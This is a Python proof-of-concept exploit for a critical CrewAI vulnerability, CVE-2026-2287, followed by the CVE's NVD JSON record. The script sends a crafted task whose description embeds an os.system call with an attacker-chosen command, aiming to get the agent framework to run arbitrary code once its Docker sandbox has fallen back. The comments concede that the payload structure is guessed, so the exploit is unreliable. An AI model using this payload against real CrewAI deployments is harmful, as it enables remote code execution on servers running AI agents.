The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-2287
# This script simulates triggering the fallback mechanism in CrewAI
# by assuming the Docker daemon is unresponsive or crashed.
import requests
import time
def exploit_crewai(target_url, command):
"""
Attempts to execute a command on the target CrewAI instance
by exploiting the Docker fallback RCE vulnerability.
"""
headers = {
'Content-Type': 'application/json',
'User-Agent': 'CVE-2026-2287-Scanner'
}
# Malicious payload that executes system commands
# The exact JSON structure depends on the CrewAI API implementation
payload = {
"description": "Execute task",
"agent": "Executor",
"tasks": [
{
"description": f"import os; os.system('{command}')",
"expected_output": "exploit"
}
]
}
try:
print(f"[*] Sending payload to {target_url}...")
# In a real scenario, an attacker might first try to disrupt Docker
# or rely on a race condition. Here we send the request directly
# assuming the conditions are met or to trigger the check.
response = requests.post(target_url, json=payload, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully. Check if command executed.")
print(f"[+] Response: {response.text}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Replace with the actual target URL
target = "http://127.0.0.1:8080/api/execute"
cmd = "whoami"
exploit_crewai(target, cmd)
{"cve": {"id": "CVE-2026-2287", "sourceIdentifier": "[email protected]", "published": "2026-03-30T16:16:04.877", "lastModified": "2026-04-15T13:37:08.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CrewAI does not properly check that Docker is still running during runtime, and will fall back to a sandbox setting that allows for RCE exploitation."}, {"lang": "es", "value": "CrewAI no verifica correctamente que Docker sigue ejecutándose durante el tiempo de ejecución, y recurrirá a una configuración de sandbox que permite la explotación de RCE."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:crewai:crewai:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "3DC9BCCB-78E5-4D50-9EAD-6F54EB4E3153"}]}]}], "references": [{"url": "https://www.kb.cert.org/vuls/id/221883", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}